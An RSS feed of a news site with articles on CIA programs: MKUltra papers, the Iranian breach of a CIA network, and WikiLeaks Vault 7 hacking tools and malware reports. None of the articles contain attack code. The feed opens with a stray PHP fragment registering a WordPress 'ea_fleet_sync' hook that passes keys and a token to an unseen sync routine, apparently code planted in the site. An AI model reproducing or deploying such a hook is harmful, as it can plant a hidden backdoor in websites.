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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); CIA’s – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Sun, 09 Dec 2018 01:13:13 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png CIA’s – Brief News https://briefnews.eu 32 32 Hypnosis, truth drugs and remote-operated dogs: Declassified papers on CIA’s 'mind control' research https://briefnews.eu/hypnosis-truth-drugs-and-remote-operated-dogs-declassified-papers-on-cias-mind-control-research/ https://briefnews.eu/hypnosis-truth-drugs-and-remote-operated-dogs-declassified-papers-on-cias-mind-control-research/#respond Sun, 09 Dec 2018 01:13:13 +0000 http://briefnews.eu/hypnosis-truth-drugs-and-remote-operated-dogs-declassified-papers-on-cias-mind-control-research/

A renowned government secret hunter has published new documents detailing the CIA’s Cold War “behavioral modification” experiments (ranging from the bizarre to the stomach-churning), released under the Freedom of Information Act.

The documents were published by “The Black Vault”, a site which has published enough government documents on the paranormal, UFOs and government mind control experiments to provide material for a dozen new seasons of The X-Files. While the site might sound like a fringe web-community indulging in paranoid cliches, it is also the largest repository of its kind aside from the US government with over 2,000,000 pages of information. The 800 pages of classified information published in November had been withheld from previously released documents that were made public through FOIA requests in 2004 and 2016.

The newest documents, if verified, showcase some unprecedented disturbing outcomes of the CIA’s attempts to develop mind control techniques and truth serums as a part of its “MKultra” project, which the agency admitted to having secretly run until 1973. The releases include documents on a “successful” effort to create 6 dogs that could be “operated” to complete basic commands by remote control in the late 1960s. There are even diagrams of the surgical implants that employed “Electrical Stimulation of the Brain” to create controlled responses.

Other documents are almost suspiciously self-implicating, such as one from 1956 where the writer states that behavioral modification experiments that would normally be considered “too dangerous, too shocking, too unusual for routine testing would be of interest to us.” One document which would fit right into this description is a plan to test experimental drugs intended to induce compliance and passivity on inmates in prison hospitals, and then conduct “interrogations”.

What might be meant by “interrogations” is also explained in the declassified information: suggesting the aid of “physical”, “psychological” and “mechanical” torture to induce compliance in “uncooperative individual[s]”.

Some of the experiments conducted veer pretty far afield from the strictly scientific, even in its grotesque Frankenstein form. For instance, the prospect of the military application of hypnosis seems to have been a priority for some people working on the project.

The site’s founder, 37-year-old John Greenewald Jr., has been painstakingly obtaining and cataloging the documents, primarily obtained from the government through the Freedom of Information Act, for over 20 years, alongside producing TV shows on the paranormal.

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A renowned government secret hunter has published new documents detailing the CIA’s Cold War “behavioral modification” experiments (ranging from the bizarre to the stomach-churning), released under the Freedom of Information Act.

The documents were published by “The Black Vault”, a site which has published enough government documents on the paranormal, UFOs and government mind control experiments to provide material for a dozen new seasons of The X-Files. While the site might sound like a fringe web-community indulging in paranoid cliches, it is also the largest repository of its kind aside from the US government with over 2,000,000 pages of information. The 800 pages of classified information published in November had been withheld from previously released documents that were made public through FOIA requests in 2004 and 2016.

The newest documents, if verified, showcase some unprecedented disturbing outcomes of the CIA’s attempts to develop mind control techniques and truth serums as a part of its “MKultra” project, which the agency admitted to having secretly run until 1973. The releases include documents on a “successful” effort to create 6 dogs that could be “operated” to complete basic commands by remote control in the late 1960s. There are even diagrams of the surgical implants that employed “Electrical Stimulation of the Brain” to create controlled responses.

Other documents are almost suspiciously self-implicating, such as one from 1956 where the writer states that behavioral modification experiments that would normally be considered “too dangerous, too shocking, too unusual for routine testing would be of interest to us.” One document which would fit right into this description is a plan to test experimental drugs intended to induce compliance and passivity on inmates in prison hospitals, and then conduct “interrogations”.

What might be meant by “interrogations” is also explained in the declassified information: suggesting the aid of “physical”, “psychological” and “mechanical” torture to induce compliance in “uncooperative individual[s]”.

Some of the experiments conducted veer pretty far afield from the strictly scientific, even in its grotesque Frankenstein form. For instance, the prospect of the military application of hypnosis seems to have been a priority for some people working on the project.

The site’s founder, 37-year-old John Greenewald Jr., has been painstakingly obtaining and cataloging the documents, primarily obtained from the government through the Freedom of Information Act, for over 20 years, alongside producing TV shows on the paranormal.

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]]> https://briefnews.eu/hypnosis-truth-drugs-and-remote-operated-dogs-declassified-papers-on-cias-mind-control-research/feed/ 0 CIA’s secret communication network was cracked by Iranians using… Google Search? https://briefnews.eu/cias-secret-communication-network-was-cracked-by-iranians-using-google-search/ https://briefnews.eu/cias-secret-communication-network-was-cracked-by-iranians-using-google-search/#respond Sat, 03 Nov 2018 01:57:11 +0000 http://briefnews.eu/cias-secret-communication-network-was-cracked-by-iranians-using-google-search/ The web-based network which was used by the CIA to communicate with its sources was overcome by Iranians using text-book Google queries, a new exposé claims. The agency knew about the vulnerability, but failed to act on it.

Probably the biggest failure of US intelligence since 9/11 has been the compromise of the CIA’s communication network, which it had used to keep in touch with agents and assets in foreign nations. The Chinese busted and executed dozens of US spies because of it. A new exposé by Yahoo News says a similar upheaval happened in Iran and that the Iranians managed to defeat the system relatively easily – because it was never intended for the purpose it was used for.

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The internet-based platform was first used for war zones in the Middle East and was not designed for long-term communication or to stand up to any serious counter-intelligence effort. “The issue was that it was working well for too long, with too many people. But it was an elementary system,” one former US intelligence official said.

So around 2010, the Iranians managed to penetrate it, and many at the CIA were shocked with how simple Tehran’s approach was. The Iranians identified one of the websites used for the network through a double agent and then used Google Search to find sites with similar digital fingerprints. The visitors to those sites were then tracked, leading to an unravelling of the entire CIA network.

The US is not sure whether Iran and China busted the tool separately or cooperated with each other. They believe Beijing may have shared with Moscow their discoveries about how American spies operate. No similar unravelling of sources in Russia followed however, the report says, attributing this to the CIA having kept its Russia operations “walled off from the rest of the agency”.

The CIA could have prevented the blunder had it listened to a defense contractor named John Reidy, who’d warned about the vulnerability of the system years before the Iranians mastered it. Reidy’s job was to identify, contact and manage human resources for the CIA in Iran. His complaint, however, was not heeded, while Reidy himself was punished by his superiors for the embarrassment he caused, or at least that’s what he believes.

“This is one of the most catastrophic intelligence failures since September 11th,” Irvin McCullough, a national security analyst with the Government Accountability Project, told Yahoo News; “And the CIA punished the person who brought the problem to light.”

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]]> https://briefnews.eu/cias-secret-communication-network-was-cracked-by-iranians-using-google-search/feed/ 0 CIA’s secret spy tool allegedly helps steal data from NSA & FBI https://briefnews.eu/cias-secret-spy-tool-allegedly-helps-steal-data-from-nsa-fbi/ https://briefnews.eu/cias-secret-spy-tool-allegedly-helps-steal-data-from-nsa-fbi/#respond Thu, 24 Aug 2017 11:41:20 +0000 http://briefnews.eu/cias-secret-spy-tool-allegedly-helps-steal-data-from-nsa-fbi/

Details of an alleged CIA project that allows the agency to secretly extract biometric data from liaison services such as the NSA, the DHS and the FBI have been published by WikiLeaks.

Documents from the CIA’s ‘ExpressLane’ project were released by the whistleblowing organization as part of its ongoing ‘Vault 7’ series on the intelligence agency’s alleged hacking capabilities.

A branch within the CIA – known as Office of Technical Services (OTS) – provides a biometric collection system to liaison services around the world “with the expectation for sharing of the biometric takes collected on the systems,” according to a file released by WikiLeaks.

ExpressLane, however, suggests the system has inadequacies as it was developed as a covert information collection tool to secretly exfiltrate data collections from such systems provided to liaison services.

The user guide for the tool states that it was developed to support the branch in its efforts to verify that this data is also being shared with the agency.

“ExpressLane v3.1.1 provides an ability to disable the biometric software if liaison doesn’t provide the Agency with continued access.”

ExpressLane is installed and run under the guise of upgrading the biometric software by OTS agents that visit the liaison sites.

“OTS/i2c plans to revisit these sites with the cover of upgrading the biometric software to perform a collection against the biometric takes,” a CIA document outlining test procedures for the project states.

Liaison officers overseeing this procedure will remain unsuspicious, as the data exfiltration is disguised behind a Windows installation splash screen.

ExpressLane was intended to remain secret until 2034, according to the files which originate from 2009.

The core components of the OTS system are based on products from Cross Match –  a US company specializing in biometric software for law enforcement and the Intelligence Community.

In 2011, it was reported that the US military used one of the company’s products to identify Osama bin Laden during the assassination operation in Pakistan.

The White House and Department of Defense said facial recognition technology was one of the techniques used to identify Bin Laden but Cross Match’s involvement was not confirmed.

READ MORE: CIA CouchPotato tool ‘captures video stream images remotely’ – WikiLeaks

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]]> https://briefnews.eu/cias-secret-spy-tool-allegedly-helps-steal-data-from-nsa-fbi/feed/ 0 The CIA’s cozy malware relationship with defense contractor revealed https://briefnews.eu/the-cias-cozy-malware-relationship-with-defense-contractor-revealed/ https://briefnews.eu/the-cias-cozy-malware-relationship-with-defense-contractor-revealed/#respond Wed, 19 Jul 2017 20:13:44 +0000 http://briefnews.eu/the-cias-cozy-malware-relationship-with-defense-contractor-revealed/

Evidence of the CIA’s relationship with defense contractor Raytheon’s Blackbird Technologies for analyzing malware has been revealed in the latest WikiLeaks release.

The new documents, released as part of WikiLeaks’ CIA hacking Vault7 series, show that Raytheon worked as a CIA contractor reporting to the spy agency’s Remote Development Branch’s UMBRAGE group.

Raytheon reported to the CIA about malware thought to have come from foreign governments, like Russia and China.

Raytheon is a defense contractor specializing in homeland security and defense technology, and is the company behind the Tomahawk missiles fired at Syria by President Trump.

Previous Vault7 documents have revealed Umbrage collects hacking exploits unleashed by other countries, enabling them to disguise its own hacks.

The trail starts from November 2014, two weeks after Raytheon had acquired Blackbird Technologies.

At the time, it said Blackbird would expand its “special operations capabilities in tactical intelligence, surveillance and reconnaissance, secure tactical communications and cybersecurity.”

Blackbird Technologies was a cyber security and surveillance company that supplied equipment for covert “tagging, tracking and locating” and counted US Special Operations Command as one of its biggest customers.

In 2011, a retired special operator described Blackbird Technologies’ work as being “heavily weighted towards the dark side.”

The documents included are assessments of malware, partly based on public documents from security researchers and private companies. Blackbird recommended whether the CIA should use the malware to develop its own projects.

MALWARE FEATURED IN THE LATEST WIKILEAKS RELEASE

 

NfLog  – Remote Access Tool by Samurai Panda

A September 2015 report on a new variant of the NfLog Remote Access Tool (RAT) – a tool which allows an intruder administrative control over a target – IsSpace used by SAMURAI PANDA, details how the malware credited to the Chinese hacking group Samurai Panda targets C2 servers to sniff user credentials.

On systems with a Windows Firewall “it will attempt to enumerate the basic authorization username and password used for most proxy authentications using HTTP.”

If NfLog sees a user has administrative privileges, it will attempt to give itself increased permissions.

HTTPBrowser by Emissary Panda

Another September 2015 document details a new variant of the HTTPBrowser Remote Access Tool used by Emissary Panda, thought to be another Chinese hacking group.

The RAT is deployed through an “unknown initial attack vector,” the document reads. It contains a self-extracting zip file which includes three files used to deploy the malware.

It captures keystrokes and writes them to a file. The document describes the RAT’s use of clear text as an indication of its “low level of sophistication” and says there are no new techniques worthy of a PoC.

Regin – Stealthy Surveillance

Reign is described as being a “very sophisticated malware sample” which has been observed in operation since 2013, but the September 2015 document adds it may have been in use since 2008. The complex malware has been linked to GCHQ and NSA.

The “target surveillance and data collection” malware has six stages of implementation.

The report’s author appears impressed by Reign, which it commends for its “striking” modular architecture and “flexibility” and impressive stealthiness.

Reign allows for tailored attacks for different targets and has the ability to “hide itself from discovery.”

The report notes that it doesn’t contain details on how aspects of Reign are implemented. “We assume bad actors have valid certs [for driver signing] but it’s not clear from the report,” it says.

Reign was discovered by Symantec, which described it as a trojan data collection tool that can take “screenshots and [take] control of the mouse’s point-and-click functions, steal passwords, monitor network traffic,” and scan for deleted files.

Symantec found it was likely created by a nation state.

HammerToss – Stealthy Tactics by Russians

A September 2015 report details HammerToss, a “suspected Russian State-sponsored malware” which leverages Twitter accounts, GitHub and cloud storage to “orchestrate command and control functions.”

HammerToss uses an algorithm to create Twitter accounts each day. When an attacker creates the account, the hacker posts a URL and hashtag, which sends the malware to a Github image that’s downloaded and contains commands.

Gamker Trojan

Gamker is described as an information stealing Trojan which steals information using simple decryption and injects itself into a different process.

Trojan malware is often disguised as regular software. Its self-code injection ensures nothing is written to disk. The report doesn’t say who is suspected of creating Gamker.

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]]> https://briefnews.eu/the-cias-cozy-malware-relationship-with-defense-contractor-revealed/feed/ 0 WikiLeaks says CIA’s “Pandemic” turns servers into infectious Patient Zero https://briefnews.eu/wikileaks-says-cias-pandemic-turns-servers-into-infectious-patient-zero/ https://briefnews.eu/wikileaks-says-cias-pandemic-turns-servers-into-infectious-patient-zero/#respond Fri, 02 Jun 2017 02:02:43 +0000 http://briefnews.eu/wikileaks-says-cias-pandemic-turns-servers-into-infectious-patient-zero/

Enlarge / One of the pages published Thursday in WikiLeaks’ latest Vault 7 release. (credit: WikiLeaks)

WikiLeaks just published details of a purported CIA operation that turns Windows file servers into covert attack machines that surreptitiously infect computers of interest inside a targeted network.

“Pandemic,” as the implant is codenamed, turns file servers into a secret carrier of whatever malware CIA operatives want to install, according to documents published Thursday by WikiLeaks. When targeted computers attempt to access a file on the compromised server, Pandemic uses a clever bait-and-switch tactic to surreptitiously deliver malicious version of the requested file. The Trojan is then executed by the targeted computers. A user manual said Pandemic takes only 15 seconds to be installed. The documents didn’t describe precisely how Pandemic would get installed on a file server.

In a note accompanying Thursday’s release, WikiLeaks officials wrote:

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]]> https://briefnews.eu/wikileaks-says-cias-pandemic-turns-servers-into-infectious-patient-zero/feed/ 0 WikiLeaks publishes more of the CIA’s secret tools after the US threatens criminal charges against the organization https://briefnews.eu/wikileaks-publishes-more-of-the-cias-secret-tools-after-the-us-threatens-criminal-charges-against-the-organization/ https://briefnews.eu/wikileaks-publishes-more-of-the-cias-secret-tools-after-the-us-threatens-criminal-charges-against-the-organization/#respond Sat, 22 Apr 2017 03:36:46 +0000 http://briefnews.eu/wikileaks-publishes-more-of-the-cias-secret-tools-after-the-us-threatens-criminal-charges-against-the-organization/ WikiLeaks founder Julian Assange holds a copy of a U.N. ruling as he makes a speech from the balcony of the Ecuadorian Embassy, in central London, Britain February 5, 2016. REUTERS/Peter Nicholls Thomson Reuters

WikiLeaks released another trove of information on the Central Intelligence Agency’s secrets Friday afternoon, after the Justice Department said it was considering criminal charges against the organization and its founder, Julian Assange.

The latest release is a 31-page user guide for a CIA device called “Weeping Angel” that was posted online on Friday, CBS News reported. The tool was able to turn Samsung televisions into surveillance tools — by way of activating the television’s built-in microphone to record audio.

The tool was co-developed by the CIA and the UK’s MI5 intelligence agency, CNET reported in March. It was designed to “pretend” to turn itself off by deactivating the screen and front LED lights, while using the television’s built-in microphone to record conversations, CNET’s report alleged.

Samsung released a statement addressing the vulnerability in March, saying “Protecting consumers’ privacy and the security of our devices is a top priority at Samsung. We are aware of the report in question and are urgently looking into the matter.”

The latest leak follows the battle between WikiLeaks, the Justice Department and CIA, where officials denounced the leaking of classified government material, and had reopened the case to prosecute the controversial organization. Government officials also announced that they were actively pursuing a possible CIA insider who they believe was responsible for the security breach. Jeff SessionsREUTERS/Yuri Gripas

“We are going to step up our effort and already are stepping up our efforts on all leaks,” Attorney General Jeff Sessions said in a news conference on Thursday. “This is a matter that’s gone beyond anything I’m aware of.”

“We have professionals that have been in the security business of the United States for many years that are shocked by the number of leaks and some of them are quite serious,” Sessions continued. “So yes, it is a priority. We’ve already begun to step up our efforts and whenever a case can be made, we will seek to put some people in jail.”

Meanwhile, WikiLeaks maintains that it is no different from a genuine news organization, and that its activities are protected by the First Amendment.

“The fact of the matter is — however frustrating it might be to whoever looks bad when information is published — WikiLeaks is a publisher, and they are publishing truthful information that is in the public’s interest,” said Barry J. Pollack, Assange’s attorney, in The Washington Post. “Democracy thrives because there are independent journalists reporting on what it is that the government is doing.”

Some civil rights organizations have railed against the US government’s rhetoric on data leaks. Ben Wizner with the American Civil Liberties Union’s Speech, Privacy, and Technology Project said in a statement to Business Insider: “Never in the history of this country has a publisher been prosecuted for presenting truthful information to the public.”

“Any prosecution of Wikileaks for publishing government secrets would set a dangerous precedent that the Trump administration would surely use to target other news organizations.”

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Enlarge / The logo of the CIA’s Engineering Development Group (EDG), the home of the spy agency’s malware and espionage tool developers. (credit: Central Intelligence Agency)

WikiLeaks has published what it says is another batch of secret hacking manuals belonging to the US Central Intelligence Agency as part of its Vault7 series of leaks. The site is billing Vault7 as the largest publication of intelligence documents ever.

Friday’s installment includes 27 documents related to “Grasshopper,” the codename for a set of software tools used to build customized malware for Windows-based computers. The Grasshopper framework provides building blocks that can be combined in unique ways to suit the requirements of a given surveillance or intelligence operation. The documents are likely to be of interest to potential CIA targets looking for signatures and other signs indicating their Windows systems were hacked. The leak will also prove useful to competing malware developers who want to learn new techniques and best practices.

“Grasshopper is a software tool used to build custom installers for target computers running Microsoft Windows operating system,” one user guide explained. “An operator uses the Grasshopper builder to construct a custom installation executable.” The guide continued:

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]]> https://briefnews.eu/wikileaks-just-dropped-the-cias-secret-how-to-for-infecting-windows/feed/ 0 WikiLeaks releases Vault7 info on CIA’s ‘Grasshopper” custom hacking toolkit https://briefnews.eu/wikileaks-releases-vault7-info-on-cias-grasshopper-custom-hacking-toolkit/ https://briefnews.eu/wikileaks-releases-vault7-info-on-cias-grasshopper-custom-hacking-toolkit/#respond Sat, 08 Apr 2017 07:08:30 +0000 http://briefnews.eu/wikileaks-releases-vault7-info-on-cias-grasshopper-custom-hacking-toolkit/ WikiLeaks has stirred up some serious controversy and concern with its various Vault7 leaks, which have uncovered numerous CIA hacking projects. The organization isn’t done yet, apparently, as it continues to release information on methods used by the U.S. intelligence agency to break into target computer systems.

The most recent release involves what’s called “Grasshopper,” specifically a collection of software tools used by the CIA to attack Microsoft’s Windows platform. The tools are essentially building blocks that CIA agents can use to snap together custom attacks, as Ars Technica reports.

More: Wikileaks’ ‘Vault 7’ proves Big Brother and criminal hackers use the same tricks

The WikiLeaks Grasshopper release includes a set of user guides that are not unlike those issued by commercial software developers. While not the tools themselves, the documents provide a solid overview of how the tools function and what potential targets might want to look for in determining if their own systems have been subject to CIA attack.

As one document describes:

“Grasshopper is a software tool used to build custom installers for target computers running the Microsoft Windows operating system. An operator uses the Grasshopper builder to construct a custom installation executable.

The operator configures an installation executable to install one or more payloads using a variety of techniques. Each payload installer is built from individually configured components that implement part of the installation procedure.

The operator may designate that installation is contingent on the evaluation of the target environment. Target conditions are described using a custom rule language. The operator may configure the tool to output a log file during execution for later exfiltration.”

Grasshopper includes a variety of tools and techniques for a wide range of hacking functions, including methods for evading antivirus software. The WikiLeaks release also highlights a few of the organizations that use tools like Grasshopper, such as the Advanced Engineering Division (AED) that develops the CIA’s implant code and the Remote Development Branch (RDB) that develops remote implants.

What’s perhaps most fascinating about Grasshopper is its apparent focus on being easy to use. The tools do a lot of the work for agents, such as evaluating systems to make sure the target system has the right configuration for the chosen attack.

It’s likely that WikiLeaks will continue to release this kind of information. Whether or not it makes hackers’ jobs easier by giving them hints as to what kinds of tools are most effective remains an open question. But there’s no doubt that the most recent information makes the CIA’s job more difficult, including the fact that it holds the agency up to some ridicule for allowing the information to leak in the first place.

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The Central Intelligence Agency may be sharpening its car-hacking skills in efforts to carry out “nearly undetectable assassinations.”

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That’s the alarming conclusion reached by WikiLeaks, the multinational nonprofit that advocates for the disclosure of government secrets. The organization published nearly 9000 documents earlier this week that are believed to have originated from America’s top intelligence agency.

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Among the disclosures were meeting notes taken in October 2014 that listed “vehicle systems” as “potential mission areas” for the agency. One item mentioned QNX, a Canadian company that makes software and embedded systems for millions of vehicles.

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Details remain scant. The CIA has neither confirmed nor denied the authenticity of the documents, and QNX did not return a request for comment. Nonetheless, a WikiLeaks analysis makes a leap or two to lay out the prospect that CIA operatives are targeting adversaries via holes in automotive cybersecurity holes, leaving nary a trace.

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This has led to a smattering of frightening headlines in recent days, but the revelation should come as no surprise. Cyber researchers have warned for seven years now that cars contain vulnerabilities that allow hackers to commandeer control and tamper with steering, speed and brakes.

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In an age when cyber breaches cost major corporations billions and hackers meddle in elections, it would only be natural to assume the CIA can leverage a growing number of attack entry points that lead into vehicles.

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“Cyber is now a conflict domain,” says Joshua Corman, director of the Cyber Statecraft Initiative, a nonprofit that promotes leadership and engagement in international affairs and co-founder of iamthecavalry.org, a grassroots organization that focuses on issues where computer safety intersects with public safety.

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What may be more eye-opening than the CIA’s alleged hacking into vehicles is the fact manufacturers have languished in addressing vulnerabilities that have been unearthed by researchers going back seven years. Almost all of today’s cars have no way of detecting or recording malicious activity that occurs on their networks, and almost all have no way of responding to a real-time infiltration.

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Whether it is CIA operatives or any other hacker, they have no real need to cover their tracks because there currently are no tracks in the first place. In his testimony before Congress and work with auto industry executives, Corman has advocated for the installation of event data recorders in cars that would operate in the same vein as the so-called black boxes used in the aviation industry.

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“Let’s not be cavalier about our inability to detect and respond to failures,” he said. “We need logging, black boxes, and over-the-air updates. For an investigation [by] the National Transportation Safety Board, they have to have forensically sound, tamper-proof evidence capture.”

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A hypothetical case in point: In June 2013, journalist Michael Hastings died in a high-speed car crash in Los Angeles that, at least in some corners of the internet, warranted additional attention because of its unusual circumstances. Beyond the crash itself, Hastings had authored a groundbreaking story that ultimately cost U.S. Army Gen. Stanley McChrystal his career.

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“I’ve heard from people about the theories with Michael Hastings, and I’ve calmly told them that, if you have forensically sound evidence capture in all vehicles, then there would be evidence of that,” Corman said. “Without it, you will sound crazy and no one will listen to you. The real issue here is that we don’t have evidence.”

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Researchers Charlie Miller and Chris Valasek caught the attention of the entire auto industry, not to mention the Department of Transportation, Department of Defense, and Homeland Security, in July 2015 when they showed it was possible to remotely manipulate the controls on a Jeep Cherokee traveling along a Saint Louis–area highway from halfway across the country in Pittsburgh.

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Security researcher Chris Valasek offers details on the remote hack of a Jeep Cherokee at the Black Hat hacker conference in Las Vegas.

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But car hacking need not involve meddling with safety-critical components to have value for intelligence agencies. Forget running targeted individuals off the road; car hacking could be used for surveillance.

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In 2011, researchers with the University of Washington and the University of California–San Diego reported that telematics systems such as General Motors’ OnStar and other features that permit voice-controlled phone calls could be manipulated to record conversations without subjects ever knowing.

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“We have found that an attacker who has compromised our car’s telematics unit can record data from the in-cabin microphone,” they wrote. These capabilities “could prove useful to private investigators, corporate spies, paparazzi, and others seeking to eavesdrop on private conversations within particular vehicles.”

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The paper’s authors go on to write that adversaries could identify targets for such eavesdropping “quite quickly” in this manner.

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Fast-forward a few years to a time when autonomous vehicles are prevalent on American roads, and the opportunities for the government to track the whereabouts of citizens or spy on their conversations start to proliferate. But again, this isn’t new information.

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Written by the FBI’s Directorate of Intelligence and Strategic Issues Group, the report says that self-driving vehicles “open up greater possibilities for dual-use applications and ways for a car to be more of a potential lethal weapon than it is today.” Later in the document, the FBI notes that because of lidar sensors and GPS tracking, “surveillance will also be made more effective and easier.”

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Sounds like someone at the CIA was listening.

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Pete Bigelow is the Transportation Technology And Mobility Editor at Car and Driver. He can be reached via email at pbigelow@hearst.com and followed on Twitter @PeterCBigelow.

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